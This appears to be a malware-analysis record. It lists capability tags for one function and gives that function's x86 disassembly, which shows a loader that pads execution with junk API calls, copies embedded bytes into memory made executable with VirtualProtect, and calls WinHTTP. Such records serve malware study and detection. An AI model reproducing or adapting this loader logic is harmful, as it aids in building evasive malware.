Function at 0x404db9
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via windows callback function
Initialize winhttp library
Read file on windows
Receive http response

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc2c
push ebx
push esi
xor ebx, ebx
cmp dword [0x4d9d08], 0x5b1
push edi
jne 0x404e45
push ebx
lea eax, [ebp - 0xc28]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.GDI32.dll_GetBitmapDimensionEx]
push ebx
call fcn.00405ca7
pop ecx
push ebx
push ebx
push ebx
push ebx
call fcn.004059ba
add esp, 0x10
lea esi, [ebp - 0x14]
call fcn.00404a80
mov ecx, esi
call fcn.00404aa0
push ebx
call fcn.004055d1
pop ecx
push ebx
call fcn.004055bb
pop ecx
push ebx
push ebx
call fcn.00405314
pop ecx
pop ecx
push ebx
call fcn.00406030
add dword [0x4d9d08], 0x1134b
push dword [0x4d9d08]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4d8c5c], eax
mov esi, 0x1e6cc
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharToOemBuffW]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
dec esi
jne 0x404e66
lea eax, [ebp - 0x28]
push eax
push 0x40
push dword [0x4d9d08]
push dword [0x4d8c5c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x206d47
jg 0x404ebf
inc edi
cmp edi, 0x4f6a4
jl 0x404ea1
xor edi, edi
cmp dword [0x4d9d08], ebx
jbe 0x404f11
cmp dword [0x4d9d08], 0xa8
mov eax, dword [0x4d9d0c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d8c5c]
mov byte [ecx + edi], al
jne 0x404f08
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
push 0x4047c8
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
inc edi
cmp edi, dword [0x4d9d08]
jb 0x404ec9
xor esi, esi
mov eax, dword [0x4d9d08]
add eax, esi
cmp eax, 0xe
jne 0x404f88
push ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push 0x4047d4
push 0x4047f0
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
lea eax, [ebp - 0xc28]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
xor eax, eax
mov word [ebp - 0x18], ax
lea edi, [ebp - 0x16]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x428]
push eax
push 0x404808
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
inc esi
cmp esi, 0x39621
jl 0x404f13
call fcn.00404ce4
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x26
jne 0x404fa9
call fcn.00404d9f
inc edi
cmp edi, 0x6753f
jl 0x404f98
push 0x7b
pop esi
cmp dword [0x4d9d08], 0x86
jne 0x405026
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebx
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x828]
push eax
push ebx
push 0x404850
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidthA]
dec esi
jne 0x404fb5
push 0x404884
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
leave
ret